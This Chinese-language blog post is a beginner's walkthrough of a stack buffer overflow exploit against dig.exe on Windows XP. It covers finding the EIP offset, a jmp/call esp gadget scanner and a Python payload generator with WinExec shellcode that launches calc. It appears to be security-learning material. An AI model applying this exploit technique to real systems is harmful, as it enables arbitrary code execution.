• winXP SP3 环境 (xp环境默认没开启栈不可执行机制,比较方便破解,如果已开启了,请自行百度如何关闭)
  • dig.exe 目标文件
  • x86dbg调试工具
  • python 环境

打开准备好的目标软件 dig.exe

映入眼帘的有两个输入框,可以直接从键盘获取输入

第一个输入框应该是输入域名的,TCP lookup按钮查询此域名的各种信息

猜想,这个输入框1 中输入的文本可能保存在栈区中的临时变量里,毕竟域名都不太长

  • 直接在输入框里输入1100个 'A' 然后点击 TCP lookup 看看有什么现象

  • 哈哈,软件崩溃退出了!!

  • 使用x86dbg 加载运行 dig.exe ,再输入1100个有序字符

      CH=65
    ch=97
    num_1=48 buf=''
    n_C=0
    n_c=0
    n_1=0 for i in range(1100//3):
    if n_1>9:
    n_c+=1
    n_1=0
    if n_c > 25:
    n_C+=1
    n_c=0
    buf += chr(CH+n_C)+chr(ch+n_c)+chr(num_1+n_1)
    n_1+=1 print(buf)
  • 把生成的字符串复制到输入框1 中,看看崩溃点在哪

  • 这个eip是什么?肯定是我们输入的字符串的ASCII码

      int main()
    {
    char str[10] = { 0 };
    scanf_s("%x", (int)str);//输入eip的值
    puts(str);
    }

    哦,原来是'h2Bh'啊

  • 在python 生成的字符串中找到'h2Bh'的位置

      buf.find('h2Bh')

    997,输入997个字符后字符串将覆盖eip

  • 测试,运行计算器(当然你也可以是运行其他)

    1. 找到自己电脑中 WinExeC 函数的地址(方法自行百度)如果嫌麻烦,你可以自己写一个带有winexec函数的测试程序,用od看winexec函数的地址

    2. 找到程序中 jmp esp 或 call esp的指令

      可以使用OllyUni.dll 这个OD插件寻找,不过寻找过程太慢,在我的测试中竟然运行了足足5分钟......这种时长不能忍!!!!

       #include <windows.h>
      #include <stdio.h>
      #define DLL_NAME L"shell32.dll"
      int main()
      {
      HINSTANCE handle = LoadLibrary(DLL_NAME);
      if (!handle)
      {
      printf(" load dll erro !");
      exit(0);
      }
      int address;
      BYTE* ptr = (BYTE*)handle;
      FILE *fp = fopen("shell32.txt", "w+");
      fprintf(fp, "shell32.dll\t语句\t\t地址\t\t偏移\t\t基地址\n");
      for (int position = 0; position < 12*1024*1024; position++)
      {
      if (ptr[position] == 0xFF)
      {
      if (ptr[position + 1] == 0xE4)
      {
      int address = (int)ptr + position;
      fprintf(fp, "shell32.dll <jmp esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr);
      }
      else if (ptr[position + 1] == 0xD4) //jmp esp
      {
      int address = (int)ptr + position;
      fprintf(fp, "shell32.dll <call esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr);
      }
      else{}
      }
      } fclose(fp);
      return 0;
      }

    自己写个程序找shell32.dll中的指令

    1. 在eip后写程序,并且让他执行

       # -*- coding: UTF-8 -*-
      #我的电脑中 7C86250D kernel32.WinExec
      import struct
      junk = "A" * 997 #偏移 eip = '\x73\x15\xbf\x7d' #shell32.dll <call esp> 0x7dbf1573 nops = "\x90" * 10 #10字节NOP
      fill = "\x43" * 10 #无用指令,测试时主要用于让自己看清shellcode结束了 #shellcode 要执行的代码
      shellcode = "\x31\xC9" # xor ecx,ecx
      shellcode += "\x51" # push ecx
      shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
      shellcode += "\x54" # push dword ptr esp
      shellcode += "\xBB\x0D\x25\x86\x7C" # mov ebx,7C86250D
      shellcode += "\xFF\xD3" # call ebx
      #payload
      payload = junk + eip + nops + shellcode+fill
      #将payload写入到文件payload.txt
      fp = open("payload.txt","w")
      fp.write(payload)
      fp.close()
      print "[+]Exploit successfully!"
  • 把生成的文件内容复制到 输入框1 中,是不是程序退出了,但计算器成功运行了?

  • 或许这一步你成功了,但我还没有,为什么呢????因为系统原因,winexec函数的地址在我们的电脑中的位置是不一样的

  •   #我的电脑中    7C86250D  kernel32.WinExec

    看没看到这个 7C86250D 中的 0D ?这是不会被输入到输入框的,输入框里并不是什么字符都可以被输入的,怎么办呢?这可是我电脑中winexec的地址啊!!!!

请注意 技术性的时刻即将到来了...

  • 在x86dbg中直接输入 call 7C86250D 你会发现,咦?这机器码怎么与我输入的不一样呢?

  • 因为人家使用的是相对 winexec 函数的地址

  • 那么把自己的shellcode中也改成这样的地址不就好了!!

      #shellcode 要执行的代码
    shellcode = "\x31\xC9" # xor ecx,ecx
    shellcode += "\x51" # push ecx
    shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
    shellcode += "\x54" # push dword ptr esp
    shellcode += "\xe8\xd8\x25\xb1\x7b" #call winexec 这里啊,相对地址
    '''
    shellcode += "\xBB\x0D\x25\x86\x7C" # mov ebx,7C86250D
    shellcode += "\xFF\xD3" # call ebx
    '''

OMG,成功了!!

你可能会遇到的问题

  1. 你可能自己找 jmp esp 时的地址无法写入到 eip 中,要么是少了两位,要么是多了两们,不要气馁,你找到的地址不止一个 而是好几百个,可能这个地址中刚好有输入框中不可输入的字符,换个地址试试,如果不行,就再换
  2. 或许你在一开始就遇到的问题,复制的与字符串大部分都与 shellcode中的不一样,别着急,你试试把生成的字符串文件用 notpad++ 打开,或者 UltarEdit 会更好一些
  3. 遇到百度无法解决的问题,你还有最后两种强大的依靠,就是你的智慧与坚持

我是新手,如果文中有错误,请批评或指正,谢谢

shellcode 初次使用笔记的更多相关文章

  1. DataTable初次使用笔记

    概述:DataTable是一个jQuery插件,用于生成HTML表格,功能很强大. 使用: 使用DataTable需要引入jQuery,因为他是基于jQuery的插件,然后引入DataTable的js ...

  2. 20145330《Java学习笔记》第一章课后练习8知识总结以及IDEA初次尝试

    20145330<Java学习笔记>第一章课后练习8知识总结以及IDEA初次尝试 题目: 如果C:\workspace\Hello\src中有Main.java如下: package cc ...

  3. KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 《寒江独钓》内核学习笔记(5)

    目录 . 相关阅读材料 . <加密与解密3> . [经典文章翻译]A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Ha ...

  4. Spring Cloud学习笔记--Spring Boot初次搭建

    1. Spring Boot简介 初次接触Spring的时候,我感觉这是一个很难接触的框架,因为其庞杂的配置文件,我最不喜欢的就是xml文件,这种文件的可读性很不好.所以很久以来我的Spring学习都 ...

  5. Django笔记-MySQL初次使用设置

    以下为个人学习时的笔记,正在完善中........... [1]启动服务 [root@bogon /]# service mysqld start正在启动 mysqld: [确定] [root@bog ...

  6. 初次使用InstallShield笔记

    公司的产品需要打包发布,以前一直没打包,打包方法的学习交给了我 下面的内容是我研究过后的,通过回忆写的笔记.由于不熟悉,可能会有错误或者是笨办法,希望高手指正,感激不尽. 有些东西是什么,以及是什么意 ...

  7. 初次使用Docker的体验笔记

    一.前言 Docker容器已经发布许久,但作为一名程序员如今才开始接触,实在是罪过--        在此之前,我还没有对Docker进行过深入的了解,对它的认识仍停留在:这是一种新型的虚拟机.这样的 ...

  8. Hibernate笔记——Hibernate介绍和初次环境配置

    Hibernate简介 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库. Hibernate ...

  9. Struts2笔记——初次框架配置

    1.Struts2简介   Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架.其全新的Struts 2的体系结构与S ...

随机推荐

  1. Servlet_Struts2

    百度云链接:https://pan.baidu.com/s/1TNkQ8KN2t1xJFcf_CnTXDQ 密码:i3w8 修改中...

  2. 微信支付回调,XXE攻击漏洞防止方法

    最近微信支付回调发现的XXE攻击漏洞(什么是XXE攻击,度娘.bing去搜,一搜一大把),收到通知后即检查代码, 微信给的解决方法是如果你使用的是: XmlDocument: XmlDocument ...

  3. October 27th, 2017 Week 43rd Friday

    The only thing predictable about life is its unpredictability. 人生唯一可以预知的,就是它的变化莫测. Is it really unpr ...

  4. 51nod 1625 夹克爷发红包

    题目链接戳这里 题意是有一个赋有非负数的矩阵,每次可以将某一行or某一列替换成某个数值,可以替换<=k次,问如何替换能使得矩阵总和最大,输出最大值. 一开始想的是简单的贪心:比如找当前收益最大的 ...

  5. SDN2017 第二次作业

    阅读文章<软件定义网络(SDN)研究进展>,并根据所阅读的文章,书写一篇博客,回答以下问题(至少3个): 1.为什么需要SDN?SDN特点? 2.SDN的基本思想? 3.ONF全称是什么, ...

  6. Java数组、集合的三种遍历方式(包懂)

    1 for循环 for(int i = 0;i<arr.length;i++){ System.out.print(arr[i]+" "); } 2 foreach循环,这种 ...

  7. Guava 的EventBus示例代码(简单笔记,后期补充)

    package guavademo.event.bus; import com.google.common.eventbus.EventBus; import com.google.common.ev ...

  8. CSS属性书写顺序及命名规则

    /* mozilla.org Base Styles * maintained by fantasai */ /* Suggested order: * display * list-style * ...

  9. python利用imap实现伪“无痕”取信

    所谓无痕取信,目前主要是指从邮箱中把信件收取后,邮箱内状态不发生任何改变.这里的状态主要是指两部分,一部分是邮件状态不变,即已读与未读状态不变,另一部分是指邮箱记录的登陆IP不发生改变.本文中所说的伪 ...

  10. OO第1~3次作业总结

    作业1——多项式运算 基于度量和类图分析设计 先看Metrics插件做出的复杂度分析: 乍一看没有红色报警,其实是因为选中某一行时会自动将该行改为黑色,无论之前是红色还是蓝色emmm 真正展开第一行时 ...